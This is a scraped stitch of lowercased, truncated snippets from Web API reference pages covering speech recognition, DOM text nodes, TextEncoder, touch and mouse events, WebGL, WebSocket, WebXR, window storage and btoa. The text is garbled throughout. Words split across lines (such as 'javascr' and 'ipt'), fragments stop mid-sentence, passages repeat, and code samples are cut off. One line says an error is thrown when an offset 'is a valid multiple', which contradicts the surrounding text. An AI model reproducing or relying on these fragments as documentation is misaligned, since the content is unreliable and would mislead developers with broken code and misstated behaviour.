speechrecognitionalternative.confidence read only returns a numeric estimate of how confident the speech recognition system is that the recognition is correct. examples this code is excerpted from our speech color changer example. ...
... speechrecognitionalternative.confidence read only returns a numeric estimate of how confident the speech recognition system is that the recognition is correct. examples this code is excerpted from our speech color changer example. ...
... so it can be accessed like an array // the first [0] returns the speechrecognitionresult at position 0. // each speechrecognitionresult object contains speechrecognitionalternative objects that contain individual results. // these also have getters so they can be accessed like arrays. // the second [0] returns the speechrecognitionalternative at position 0. // we then return the transcr
ipt property of the speechrecognitionalternative object var color = event.results[0][0].transcr
ipt; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionalternative' in that specification. draft ...
Text.wholeText - Web APIs
d in document order. this allows to specify any text node and obtain all adjacent text as a single string. syntax str = textnode.wholetext; notes and example suppose you have the following simple paragraph within your webpage (with some whitespace added to aid formatting throughout the code samples here), whose dom node is stored in the variable para: <p>thru-hiking is great! <strong>no ins
ipid election coverage!</strong> however, <a href="http://en.wik
ipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you decide you don't like the middle sentence, so you remove it: para.removechild(para.childnodes[1]); later, you decide to rephrase things to, "thru-hiking is great, but casting a ballot is tricky." while preserving the hyperlink. so you try this: para.first...
...erving the hyperlink. so you try this: para.firstchild.data = "thru-hiking is great, but "; all set, right? wrong! what happened was you removed the strong element, but the removed sentence's element separated two text nodes. one for the first sentence, and one for the first word of the last. instead, you now effectively have this: <p>thru-hiking is great, but however, <a href="http://en.wik
ipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you'd really prefer to treat all those adjacent text nodes as a single one. that's where wholetext comes in: if you have mult
iple adjacent text nodes, you can access the contents of all of them using wholetext. let's pretend you never made that last mistake. in that case, we have: assert(para.firstchild.wholetext == "thru-hiki...
...ext with new text. that's where replacewholetext() comes in: para.firstchild.replacewholetext("thru-hiking is great, but "); we're removing every adjacent text node (all the ones that constituted the whole text) but the one on which replacewholetext() is called, and we're changing the remaining one to the new text. what we have now is this: <p>thru-hiking is great, but <a href="http://en.wik
ipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> some uses of the whole-text functionality may be better served by using node.textcontent, or the longstanding element.innerhtml; that's fine and probably clearer in most circumstances. if you have to work with mixed content within an element, as seen here, wholetext and replacewholetext() may be useful. replacewholetext() is ...
TextEncoder.prototype.encodeInto() - Web APIs
darray.prototype.subarray(). observe. var encoder = new textencoder; function encodeintoatposition(string, u8array, position) { return encoder.encodeinto(string, position ? u8array.subarray(position|0) : u8array); } var u8array = new uint8array(8); encodeintoatposition("hello", u8array, 2); console.log( "" + u8array.join() ); // 0,0,104,101,108,108,111,0 buffer sizing to convert a javascr
ipt string s, the output space needed for full conversion is never less than s.length bytes and never greater than s.length * 3 bytes. if the output allocation (typically within wasm heap) is expected to be short-lived, it makes sense to simply allocate s.length * 3 bytes for the output, in which case the first conversion attempt is guaranteed to convert the whole string. note that the s.length * 3 ...
...ator is known to use power-of-two buckets, rounduptobucketsize() should return the argument if it is a power-of-two or the next power-of-two otherwise. if the behavior of the wasm allocator is unknown, rounduptobucketsize() should be an identity function. if the behavior of your allocator is unknown, you might want to have up to two reallocation steps and make the the first reallocation step mult
iply the remaining unconverted length by two instead of three. however, in that case, it makes sense not to implement the usual mult
iplying by two of the already written buffer length, because in such a case if a second reallocation happened, it would always overallocate compared to the original length times three.the above advice assumes that you don't need to allocate space for a zero terminator. ...
...ero-termination if the input string contains the character u+0000 in the input, encodeinto() will write a 0x00 byte in the output. encodeinto() does not write a c-style 0x00 sentinel byte after the logical output. if your wasm program uses c strings, it's your responsibility to write the 0x00 sentinel and you can't prevent your wasm program from seeing a logically truncated string if the javascr
ipt string contained u+0000. observe: var encoder = new textencoder; function encodeintowithsentinel(string, u8array, position) { var stats = encoder.encodeinto(string, position ? u8array.subarray(position|0) : u8array); if (stats.written < u8array.length) u8array[stats.written] = 0; // append null if room return stats; } examples <p class="source">this is a sample paragraph.</p> <p c...
TextRange - Web APIs
a textrange object represents a fragment of text in a document, similar to the standard defined range interface. ...
... if you want to select the modified range after modifying the selection, you need to call the textrange.select method. selection compatibility the document.selection object is the primary purpose of textrange. this object is used to process the selected ranges in the document, and is mainly implemented by using the textrange interface. according to the standard, a window / document may have mult
iple non adjacent selection, but only firefox can select mult
iple ranges through ctrl; generally, only one selected textrange is allowed in ie. however, in other browsers, document does not have a so-called selection attribute - they operate on the selection through the standard selection api, that is, they get the selection object through the window.getselection() method, and use the standard ran...
...h the standard selection api, that is, they get the selection object through the window.getselection() method, and use the standard range object to process the text fragment. ie9 and later also gave up the document.selection object and switched to the standard interface (although textrange has been reserved, it has lost its function in most cases). it's easy to get confused. generally, if the scr
ipt only needs to be compatible with the latest browser, the standard interface is the best choice; however, the current website still wants to be compatible with ie8 or below browsers. therefore, the best way is to deal with both at the same time, that is, try to use textrange mode when the standard interface is not supported, but do not regard it as the only choice. ...
Touch - Web APIs
contact point on a touch-sensitive device. the contact point is commonly a finger or stylus and the device may be a touchscreen or trackpad. the touch.radiusx, touch.radiusy, and touch.rotationangle describe the area of contact between the user and the screen, the touch area. this can be helpful when dealing with imprecise pointing devices such as fingers. these values are set to describe an ell
ipse that as closely as possible matches the entire area of contact (such as the user's fingert
ip). note: many of the properties' values are hardware-dependent; for example, if the device doesn't have a way to detect the amount of pressure placed on the surface, the force value will always be 0. this may also be the case for radiusx and radiusy; if the hardware reports only a single point, these...
...ent. unlike clienty, this value includes the vertical scroll offset, if any. touch.target read only returns the element on which the touch point started when it was first placed on the surface, even if the touch point has since moved outside the interactive area of that element or even been removed from the document. ...
... surface, even if the touch point has since moved outside the interactive area of that element or even been removed from the document. touch area touch.radiusx read only returns the x radius of the ell
ipse that most closely circumscribes the area of contact with the screen. the value is in pixels of the same scale as screenx. touch.radiusy read only returns the y radius of the ell
ipse that most closely circumscribes the area of contact with the screen. the value is in pixels of the same scale as screeny. touch.rotationangle read only returns the angle (in degrees) that the ell
ipse described by radiusx and radiusy must be rotated, clockwise, to most accurately cover the area of contact between the user and the surface. touch.forceread only returns the amount of pres...
UIEvent.layerX - Web APIs
alue relative to the whole of the document unless the event occurs inside a positioned element, where the returned value is relative to the top left of the positioned element. syntax var xpos = event.layerx xpos is an integer value in pixels for the x-coordinate of the mouse pointer, when the mouse event fired. ...
...hole of the document unless the event occurs inside a positioned element, where the returned value is relative to the top left of the positioned element. syntax var xpos = event.layerx xpos is an integer value in pixels for the x-coordinate of the mouse pointer, when the mouse event fired. ...
...head> <title>pagex\pagey & layerx\layery example</title> <scr
ipt type="text/javascr
ipt"> function showcoords(evt){ var form = document.forms.form_coords; var parent_id = evt.target.parentnode.id; form.parentid.value = parent_id; form.pagexcoords.value = evt.pagex; form.pageycoords.value = evt.pagey; form.layerxcoords.value = evt.layerx; form.layerycoords.value = evt.layery; } </scr
ipt> <style type="text/css"> #d1 { border: solid blue 1px; padding: 20px; } #d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to displ...
UIEvent.layerY - Web APIs
ue relative to the whole of the document, unless the event occurs inside a positioned element, where the returned value is relative to the top left of the positioned element. syntax var ypos = event.layery; ypos is an integer value in pixels for the y-coordinate of the mouse pointer, when the mouse event fired. ...
...le of the document, unless the event occurs inside a positioned element, where the returned value is relative to the top left of the positioned element. syntax var ypos = event.layery; ypos is an integer value in pixels for the y-coordinate of the mouse pointer, when the mouse event fired. ...
...head> <title>pagex\pagey & layerx\layery example</title> <scr
ipt type="text/javascr
ipt"> function showcoords(evt){ var form = document.forms.form_coords; var parent_id = evt.target.parentnode.id; form.parentid.value = parent_id; form.pagexcoords.value = evt.pagex; form.pageycoords.value = evt.pagey; form.layerxcoords.value = evt.layerx; form.layerycoords.value = evt.layery; } </scr
ipt> <style type="text/css"> #d1 { border: solid blue 1px; padding: 20px; } #d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to displ...
UIEvent.pageY - Web APIs
eturns the vertical coordinate of the event relative to the whole document. syntax var pagey = event.pagey; pagey is an integer value in pixels for the y-coordinate of the mouse pointer, relative to the whole document, when the mouse event fired. this property takes into account any vertical scrolling of the page. ...
...ordinate of the event relative to the whole document. syntax var pagey = event.pagey; pagey is an integer value in pixels for the y-coordinate of the mouse pointer, relative to the whole document, when the mouse event fired. this property takes into account any vertical scrolling of the page. ...
...ead> <title>pagex\pagey & layerx\layery example</title> <scr
ipt type="text/javascr
ipt"> function showcoords(evt){ var form = document.forms.form_coords; var parent_id = evt.target.parentnode.id; form.parentid.value = parent_id; form.pagexcoords.value = evt.pagex; form.pageycoords.value = evt.pagey; form.layerxcoords.value = evt.layerx; form.layerycoords.value = evt.layery; } </scr
ipt> <style type="text/css"> #d1 { border: solid blue 1px; padding: 20px; } #d2 { position: absolute; top: 180px; left: 80%; right:auto; width: 40%; border: solid blue 1px; padding: 20px; } #d3 { position: absolute; top: 240px; left: 20%; width: 50%; border: solid blue 1px; padding: 10px; } </style> </head> <body onmousedown="showcoords(event)"> <p>to displ...
USBAlternateInterface - Web APIs
ace.usbalternateinterface creates a new usbalternateinterface object which will be populated with information about the alternate interface of the provided usbinterface with the given alternate setting number. properties usbalternateinterface.alternatesettingread only returns the alternate setting number of this interface. this is equal to the balternatesetting field of the interface descr
iptor defining this interface. usbalternateinterface.interfaceclassread only returns the class of this interface. this is equal to the binterfaceclass field of the interface descr
iptor defining this interface. standardized values for this field are defined by the usb implementers forum. a value of 0xff indicates a vendor-defined interface. usbalternateinterface.interfacesubclassread only retur...
... interface. this is equal to the binterfaceclass field of the interface descr
iptor defining this interface. standardized values for this field are defined by the usb implementers forum. a value of 0xff indicates a vendor-defined interface. usbalternateinterface.interfacesubclassread only returns the subclass of this interface. this is equal to the binterfacesubclass field of the interface descr
iptor defining this interface. the meaning of this value depends on the interfaceclass field. usbalternateinterface.interfaceprotocolread only returns the protocol supported by this interface. this is equal to the binterfaceprotocol field of the interface descr
iptor defining this interface. the meaning of this value depends on the interfaceclass and interfacesubclass fields. usbalternateinterfac...
...ead only returns the protocol supported by this interface. this is equal to the binterfaceprotocol field of the interface descr
iptor defining this interface. the meaning of this value depends on the interfaceclass and interfacesubclass fields. usbalternateinterface.interfacenameread only returns the name of the interface, if one is provided by the device. this is the value of the string descr
iptor with the index specified by the iinterface field of the interface descr
iptor defining this interface. usbalternateinterface.endpointsread only returns an array containing instances of the usbendpoint interface describing each of the endpoints that are part of this interface. specifications specification status comment webusbthe definition of 'usbalternateinterface...
WebGL2RenderingContext.drawElementsInstanced() - Web APIs
the webgl2renderingcontext.drawelementsinstanced() method of the webgl 2 api renders primitives from array data like the gl.drawelements() method. in addition, it can execute mult
iple instances of a set of elements. note: when using webgl 1, the angle_instanced_arrays extension can provide this method, too. syntax void gl.drawelementsinstanced(mode, count, type, offset, instancecount); parameters mode a glenum specifying the type primitive to render. possible values are: gl.points: draws a single dot. gl.line_str
ip: draws a straight line to the next vertex. ...
... count a glsizei specifying the number of elements to be rendered. ...
... vertices. count a glsizei specifying the number of elements to be rendered. type a glenum specifying the type of the values in the element array buffer. possible values are: gl.unsigned_byte gl.unsigned_short when using the oes_element_index_uint extension: gl.unsigned_int offset a glintptr specifying an offset in the element array buffer. must be a valid mult
iple of the size of the given type. instancecount a glsizei specifying the number of instances of the set of elements to execute. return value none. exceptions if mode is not one of the accepted values, a gl.invalid_enum error is thrown. if offset is a valid mult
iple of the size of the given type, a gl.invalid_operation error is thrown. if count or instancecount are negative, a gl.invalid...
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
the webglrenderingcontext method enablevertexattribarray(), part of the webgl api, turns on the generic vertex attribute array at the specified index into the list of attribute arrays. you can disable the attribute array by calling disablevertexattribarray(). in webgl, values that apply to a specific vertex are stored in attributes. these are only available to the javascr
ipt code and the vertex shader. attributes are referenced by an index number into the list of attributes maintained by the gpu. some vertex attribute indices may have predefined purposes, depending on the platform and/or the gpu. others are assigned by the webgl layer when you create the attributes. either way, since attributes cannot be used unless enabled, and are disabled by default, you need to call enablevertexatt...
...turn value undefined. errors to check for errors after calling enablevertexattribarray(), call geterror(). webglrenderingcontext.invalid_value the specified index is invalid; that is, it's greater than or equal to the maximum number of entries permitted in the context's vertex attribute list, as indicated by the value of webglrenderingcontext.max_vertex_attribs. example this code -- a sn
ippet taken from the full example a basic 2d webgl animation example -- shows the use of enablevertexarray() to activate the attribute that will be used by the webgl layer to pass individual vertexes from the vertex buffer into the vertex shader function. gl.bindbuffer(gl.array_buffer, vertexbuffer); avertexposition = gl.getattriblocation(shaderprogram, "avertexposition"); gl.enablevertexattr...
...s individual vertexes from the vertex buffer into the vertex shader function. gl.bindbuffer(gl.array_buffer, vertexbuffer); avertexposition = gl.getattriblocation(shaderprogram, "avertexposition"); gl.enablevertexattribarray(avertexposition); gl.vertexattribpointer(avertexposition, vertexnumcomponents, gl.float, false, 0, 0); gl.drawarrays(gl.triangles, 0, vertexcount); this code sn
ippet is taken from the function animatescene() in "a basic 2d webgl animation example." see that article for the full sample and to see the resulting animation in action. this code sets the buffer of vertexes that will be used to draw the triangles of the shape by calling bindbuffer(). then the vertex position attribute's index is obtained from the shader program by calling getattriblocation(). w...
Data in WebGL - Web APIs
shader programs have access to three kinds of data storage, each of which has a specific use case. each kind of variable is accessible by one or both types of shader program (depending on the data store type) and possibly by the site's javascr
ipt code, depending on the specific type of variable. glsl data types <<document the basic types, vectors, etc; see data type (glsl) on the khronos webgl wiki>> glsl variables there are three kinds of "variable" or data storage available in glsl, each of which with its own purpose and use cases: attributes, varyings, and uniforms. attributes attributes are glsl variables which are only available to the vertex shader (as variables) and the javascr
ipt code. attributes are typically used to store color information, texture coordinates, and...
... available in glsl, each of which with its own purpose and use cases: attributes, varyings, and uniforms. attributes attributes are glsl variables which are only available to the vertex shader (as variables) and the javascr
ipt code. attributes are typically used to store color information, texture coordinates, and any other data calculated or retrieved that needs to be shared between the javascr
ipt code and the vertex shader. //init colors var vertexcolors = [ vec4( 0.0, 0.0, 0.0, 1.0 ), // black vec4( 1.0, 0.0, 0.0, 1.0 ), // red vec4( 1.0, 1.0, 0.0, 1.0 ), // yellow vec4( 0.0, 1.0, 0.0, 1.0 ), // green vec4( 0.0, 0.0, 0.0, 1.0 ), // black vec4( 1.0, 0.0, 0.0, 1.0 ), // red vec4( 1.0, 1.0, 0.0, 1.0 ), // yellow ...
...tribarray( vcolor ); //glsl attribute vec4 vcolor; void main() { fcolor = vcolor; } varyings varyings are variables that are declared by the vertex shader and used to pass data from the vertex shader to the fragment shader. this is commonly used to share a vertex's normal vector after it has been computed by the vertex shader. <<how to use>> uniforms uniforms are set by the javascr
ipt code and are available to both the vertex and fragment shaders. they're used to provide values that will be the same for everything drawn in the frame, such as lighting positions and magnitudes, global transformation and perspective details, and so forth. <<add details>> buffers <<add information>> textures <<add information>> ...
Lighting in WebGL - Web APIs
e your own project based on this code. our sample loads a copy from a cdn in our html's <head>. simulating lighting and shading in 3d although going into detail about the theory behind simulated lighting in 3d graphics is far beyond the scope of this article, it's helpful to know a bit about how it works. instead of discussing it in depth here, take a look at the article on phong shading at wik
ipedia, which provides a good overview of the most commonly used lighting model or if you'd like to see a webgl based explanation see this artcle. there are three basic types of lighting: ambient light is the light that permeates the scene; it's non-directional and affects every face in the scene equally, regardless of which direction it's facing. directional light is light that is emitted from a...
...rectionalvector), 0.0); vlighting = ambientlight + (directionallightcolor * directional); } `; once the position of the vertex is computed, and we pass the coordinates of the texel corresponding to the vertex to the fragment shader, we can work on computing the shading for the vertex. the first thing we do is transform the normal based on the current orientation of the cube, by mult
iplying the vertex's normal by the normal matrix. we can then compute the amount of directional lighting that needs to be applied to the vertex by calculating the dot product of the transformed normal and the directional vector (that is, the direction from which the light is coming). if this value is less than zero, then we pin the value to zero, since you can't have less than zero light. once the ...
... the only thing left is to look up the location of the avertexnormal attribute and the unormalmatrix uniform. const programinfo = { program: shaderprogram, attriblocations: { vertexposition: gl.getattriblocation(shaderprogram, 'avertexposition'), verte...
Writing WebSocket client applications - Web APIs
see the code, then try out the example for yourself. creating a websocket object in order to communicate using the websocket protocol, you need to create a websocket object; this will automatically attempt to open the connection to the server. ...
... the url to which to connect; this should be the url to which the websocket server will respond. this should use the url scheme wss://, although some software may allow you to use the insecure ws:// for local connections. protocols optional either a single protocol string or an array of protocol strings. these strings are used to indicate sub-protocols, so that a single server can implement mult
iple websocket sub-protocols (for example, you might want one server to be able to handle different types of interactions depending on the specified protocol). if you don't specify a protocol string, an empty string is assumed. the constructor will throw a securityerror if the destination doesn't allow access. this may happen if you attempt to use an insecure connection (most user agents now requi...
...same network). connection errors if an error occurs while attempting to connect, first a simple event with the name error is sent to the websocket object (thereby invoking its onerror handler), and then the closeevent is sent to the websocket object (thereby invoking its onclose handler) to indicate the reason for the connection's closing. the browser may also output to its console a more descr
iptive error message as well as a closing code as defined in rfc 6455, section 7.4 through the closeevent. examples this simple example creates a new websocket, connecting to the server at wss://www.example.com/socketserver. a custom protocol of "protocolone" is named in the request for the socket in this example, though this can be omitted. var examplesocket = new websocket("wss://www.example.co...
Lighting a WebXR setting - Web APIs
ight ambient light is light that doesn't come from a defined source, but is just present throughout the scene. this light reaches every surface in the scene at the same intensity from every direction, and is then reflected equally in every direction. as a result, the effect applied by ambient light is universally equal all through the scene. the effect of ambient light is computed by simply mult
iplying the intensity of the light source by the reflectance of the surface at the pixel's location. the color and intensity of every pixel in the scene is affected exactly the same way, regardless of where it is in the scene or the direction it's facing. ambient light is commonly present simply to prevent shadowed areas from becoming too dark, although it affects the entire scene; however, the amou...
...ected exactly the same way, regardless of where it is in the scene or the direction it's facing. ambient light is commonly present simply to prevent shadowed areas from becoming too dark, although it affects the entire scene; however, the amount of ambient light in a scene should be very low. because the bouncing and scattering of light can be expensive to compute in real time, especially if mult
iple light sources are involved, it's common to use ambient lighting to simulate the scattered light caused by all the other light sources in the scene, instead of actually calculating the true effect of light scattering. care needs to be taken to try to match the ambient light to what would really be the effect of the scene's lighting when doing this, however. ambient light can also be used to app...
...ent light sensor api the collection of light data using the ambient light sensor api introduces various potential privacy issues. lighting information can leak to the web information about the user's surroundings and device usage patterns. such information can be used to enhance user profiling and behavior analysis data. if two or more devices access content that uses the same third-party scr
ipt, that scr
ipt can be used to correlate lighting information and how it changes over time to attempt to determine a spatial relationsh
ip between the devices; this could in theory indicate that the devices are in the same general area, for example. how browsers mitigate these issues in order to help mitigate these risks, browsers are required by the webxr lighting estimation api specification to...
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
ity to not only track the locations, orientation, and movements of objects in the virtual world, but the user's location, orientation, and movement as well. but webxr goes beyond that by adding the ability to track the location, orientation, and motion of the input devices which generate data used to determine the position and movement of individual parts of the viewer's body (with appropriate equ
ipment). the location and movement of the user's headset represent their head's position and orientation in the virtual environment. hand controllers represent their hands in the same manner. other hardware elements can be used similarly to represent other parts of the body, providing additional data to use when simulating the user's actions in their environment. in this guide, we'll explore how w...
...you are familiar with the concepts introduced in geometry and reference spaces in webxr: that is, the basics of 3d coordinate systems, as well as webxr spaces, reference spaces, and how reference spaces are used to create local coordinate systems for individual objects or movable components within a scene. representing a position using a reference space as covered in defining spatial relationsh
ips with reference spaces in geometry and reference spaces in webxr, reference spaces establish a local coordinate system which is offset from another coordinate system that is itself defined by some other space. thus, a reference space can be used to define the position and orientation of a point and by extension the entire object for which that point is the origin. while this is a little heavy-han...
...using poses within your frame rendering code, which is executed as a callback from the xrframe method requestanimationframe(). getpose() computes the position of an xrreferencespace relative to the origin of a specified xrspace and then creates a pose representing the resulting position and orientation. for example, if you wish to draw a hand controller's representation using the controller's gr
ipspace, you can get the pose needed like this: let controlpose = frame.getpose(worldrefspace, inputsource.gr
ipspace); this converts the position and orientation of the input's gr
ip space to use the world's coordinate system, then generates the corresponding xrpose, storing it in controlpose. you can then apply controlpose's transform to the vertices in the object model representing the controller...
Web Audio API best practices - Web APIs
loading sounds/files there are four main ways to load sound with the web audio api and it can be a little confusing as to which one you should use. when working with files, you are looking at either the grabbing the file from an htmlmediaelement (i.e. ...
...aying finishes. you can see an example of how to use this with the web audio api in the using the web audio api tutorial. you will, however, have more control if you use a buffer node. you have to request the file and wait for it to load (this section of our advanced article shows a good way to do it), but then you have access to the data directly, which means more precision, and more precise man
ipulation. if you're looking to work with audio from the user's camera or microphone you can access it via the media stream api and the mediastreamaudiosourcenode interface. this is good for webrtc and situations where you might want to record or possibly analyse audio. the last way is to generate your own sound, which can be done with either an oscillatornode or by creating a buffer and populatin...
... more accessible. there's a demo of how to use it here. as you work with a lot of changing values within the web audio api and will want to provide users with control over these, the range input is often a good choice of control to use. it's a good option as you can set minimum and maximum values, as well as increments with the step attribute. setting audioparam values there are two ways to man
ipulate audionode values, which are themselves objects of type audioparam interface. the first is to set the value directly via the property. so for instance if we want to change the gain value of a gainnode we would do so thus: gainnode.gain.value = 0.5; this will set our volume to half. however, if you're using any of the audioparam's defined methods to set these values, they will take preceden...
window.dump() - Web APIs
window.dump() prints messages to the (native) console. syntax window.dump(message); dump(message); parameters message is the string message to log. notes a common use of dump() is to debug javascr
ipt. the message passed to dump() is sent to the system console (native console) if the firefox process was started with the -console option. if the -console option was not specified then the output goes to stderr. output from dump() is not sent to the browser console. output can be sent to the browser console using console.log(). ...
...ption. if the -console option was not specified then the output goes to stderr. output from dump() is not sent to the browser console. output can be sent to the browser console using console.log(). privileged code can also use components.utils.reporterror and nsiconsoleservice to log messages to the error console/browser console. dump() is also available to xpcom components implemented in javascr
ipt, even though window is not the global object in components. it is also explicitly made available in sandboxes. however, this use of dump is not affected by the preference mentioned below -- it will always be shown. it is therefore advisable to either check this preference yourself or use a debugging preference of your own to make sure you don't send lots of debugging content to a user's console ...
...h the application from a terminal. to redirect the console output to a file, run firefox without the -console option and use the syntax to redirect stderr and stdout to a file, i.e.: firefox > console.txt 2>&1 if you would like the console messages to appear in the console you used to launch the application, you can use the gecko console redirector. precompiled binaries are available in the z
ipped archive https://github.com/matthewkastor/redirector/archive/master.z
ip under redirector-master\gecko\console redirector\bin\release copy all the dll's and the exe to wherever you want. then run console redirector.exe /? specification this is not part of any specification ...
Window.navigator - Web APIs
syntax navigatorobject = window.navigator examples example #1: browser detect and return a string var sbrowser, susrag = navigator.useragent; // the order matters here, and this may report false positives for unlisted browsers. ...
... living standard ...
... living standard ...
Window.openDialog() - Web APIs
window.opendialog() is an extension to window.open(). it behaves the same, except that it can optionally take one or more parameters past windowfeatures, and windowfeatures itself is treated a little differently. the optional parameters, if present, are bundled up in a javascr
ipt array object and added to the newly created window as a property named window.arguments. they may be referenced in the javascr
ipt of the window at any time, including during the execution of a load handler. these parameters may be used, then, to pass arguments to and from the dialog window. the call to opendialog() returns immediately. if you want the call to block until the user has closed the dialog, supply modal as a windowfeatures parameter. note that this also means the user won't be able to intera...
...as closed the dialog, supply modal as a windowfeatures parameter. note that this also means the user won't be able to interact with the opener window until he closes the modal dialog. syntax newwindow = opendialog(url, name, features, arg1, arg2, ...) newwindow the opened window url the url to be loaded in the newly opened window. name the window name (optional). see window.open() descr
iption for detailed information. features see window.open() for details. arg1, arg2, ... the arguments to be passed to the new window (optional). example var win = opendialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98); notes new features all - initially activates (or deactivates ("all=no")) all chrome (except the behavior flags chrome, dialog and modal). these can be overridd...
...s these extra parameters from within dialog code, use the following scheme: var food = window.arguments[0]; var price = window.arguments[1]; note that you can access this property from within anywhere in the dialog code. (another example). returning values from the dialog since window.close() erases all properties associated with the dialog window (i.e. the variables specified in the javascr
ipt code which gets loaded from the dialog), it is not possible to pass return values back past the close operation using globals (or any other constructs). to be able to pass values back to the caller, you have to supply some object via the extra parameters. you can then access this object from within the dialog code and set properties on it, containing the values you want to return or preserve pa...
Window.sessionStorage - Web APIs
; the difference is that while data in localstorage doesn't expire, data in sessionstorage is cleared when the page session ends. a page session lasts as long as the browser is open, and survives over page reloads and restores. opening a page in a new tab or window creates a new session with the value of the top-level browsing context, which differs from how session cookies work. ...
...ndow creates a new session with the value of the top-level browsing context, which differs from how session cookies work. opening mult
iple tabs/windows with the same url creates sessionstorage for each tab/window. closing a tab/window ends the session and clears objects in sessionstorage. data stored in sessionstorage is specific to the protocol of the page. in particular, data stored by a scr
ipt on a site accessed with http (e.g., http://example.com) is put in a different sessionstorage object from the same site accessed with https (e.g., https://example.com). the keys and the values are always in the utf-16 domstring format, which uses two bytes per character. as with objects, integer keys are automatically converted to strings. syntax mystorage = window.sessionstorage; value a s...
...ed to access the current origin's session storage space. exceptions securityerror the request violates a policy decision, or the origin is not a valid scheme/host/port tuple (this can happen if the origin uses the file: or data: scheme, for example). for example, the user may have their browser configured to deny permission to persist data for the specified origin. example the following sn
ippet accesses the current origin's session storage object and adds data to it with storage.setitem(). sessionstorage.setitem('mycat', 'tom'); the following example autosaves the contents of a text field, and if the browser is refreshed, restores the text field content so that no writing is lost. // get the text field that we're going to track let field = document.getelementbyid("field"); // see...
Window: unload event - Web APIs
iframe etc.) nothing is visible anymore to the end user ui interactions are ineffective (window.open, alert, confirm, etc.) an error won't stop the unloading workflow please note that the unload event also follows the document tree: parent frame unload will happen before child frame unload (see example below). ...
...rent frame unload will happen before child frame unload (see example below). ...
...reunload', function(event) { console.log('i am the 1st one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 3rd one.'); }); </scr
ipt> </head> <body> <iframe src="child-frame.html"></iframe> </body> </html> below, the content of child-frame.html: <!doctype html> <html> <head> <title>child frame</title> <scr
ipt> window.addeventlistener('beforeunload', function(event) { console.log('i am the 2nd one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 4th and last one...'); }); </scr
ipt> </head> <body> :) </body> </html> when the parent frame is unloaded, events will be fired in the order described by the console.log()...
Window.window - Web APIs
the window property of a window object points to the window object itself. thus, the following expressions all return the same window object: window.window window.window.window window.window.window.window // ... in web pages, the window object is also a global object. this means: global variables of your scr
ipt are in fact properties of window: var global = {data: 0}; alert(global === window.global); // displays "true" you can access built-in properties of the window object without having to type window. prefix: settimeout("alert('hi!')", 50); // equivalent to using window.settimeout. alert(window === window.window); // displays "true" the point of having the window property refer to the object itself, was likely to make it easy to refer to the global object. otherwise, ...
...indow object without having to type window. prefix: settimeout("alert('hi!')", 50); // equivalent to using window.settimeout. alert(window === window.window); // displays "true" the point of having the window property refer to the object itself, was likely to make it easy to refer to the global object. otherwise, you'd have to do a manual var window = this; assignment at the top of your scr
ipt. another reason, is that without this property you wouldn't be able to write, for example, "window.open('http://google.com/')". you'd have to use "open('http://google.com/')" instead. yet another reason to use this property, is for libraries which wish to offer oop-versions, and non-oop versions (especially javascr
ipt modules). for example, if we refer to "this.window.location.href", a javascr...
...t. another reason, is that without this property you wouldn't be able to write, for example, "window.open('http://google.com/')". you'd have to use "open('http://google.com/')" instead. yet another reason to use this property, is for libraries which wish to offer oop-versions, and non-oop versions (especially javascr
ipt modules). for example, if we refer to "this.window.location.href", a javascr
ipt module could define a property called "window" inside of a class it defined (since no global "window" variable exists for it by default) which could be created after passing in a window object to the module class' constructor. thus, "this.window" inside of its functions would refer to that window object. in the non-namespaced version, "this.window" would refer back to "window", and also be able...
WindowEventHandlers.onbeforeunload - Web APIs
specifications the event was originally introduced by microsoft in internet explorer 4 and ...
... specifications the event was originally introduced by microsoft in internet explorer 4 and standardized in the html5 specific...
...oreunload', function (e) { // the absence of a returnvalue property on the event will guarantee the browser unload happens delete e['returnvalue']; }); notes when your page uses javascr
ipt to render content, the javascr
ipt may stop when leaving and then navigating back to the page. you can bind to window.onbeforeunload to prevent the browser from fully caching the page. if you do so, javascr
ipt in the page will be triggered on the subsequent return visit and update the content as desired. specifications the event was originally introduced by microsoft in internet explorer 4 and standardized in the html5 specification. specification status comment html living standardthe definition of 'onbeforeunload' in that specification. living standard ...
WindowEventHandlers.onhashchange - Web APIs
r: <body onhashchange="funcref();"> using an event listener: to add an event listener, use addeventlistener(): window.addeventlistener("hashchange", funcref, false); parameters funcref a reference to a function. examples using an event handler this example uses an event handler (window.onhashchange) to check the new hash value whenever it changes. if it equals #cool-feature, the scr
ipt logs a message to the console. function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; using an event listener this example uses an event listener to log a notification whenever the hash has changed. function hashhandler() { console.log('the hash has changed!'); } win...
...has changed!'); } window.addeventlistener('hashchange', hashhandler, false); overriding the hash this function sets a new hash dynamically, setting it randomly to one of two values. ...
...ndom() > 0.5) ? ...
WindowOrWorkerGlobalScope.btoa() - Web APIs
ing the base64 representation of stringtoencode. exceptions invalidcharactererror the string contained a character that did not fit in a single byte. see "unicode strings" below for more detail. ...
...ngtoencode. exceptions invalidcharactererror the string contained a character that did not fit in a single byte. see "unicode strings" below for more detail. example const encodeddata = window.btoa('hello, world'); // encode a string const decodeddata = window.atob(encodeddata); // decode the string unicode strings the btoa() function takes a javascr
ipt string as a parameter. ...
...ngs the btoa() function takes a javascr
ipt string as a parameter. in javascr
ipt strings are represented using the utf-16 character encoding: in this encoding, strings are represented as a sequence of 16-bit (2 byte) units. every ascii character fits into the first byte of one of these units, but many other characters don't. base64, by design, expects binary data as its input. in terms of javascr
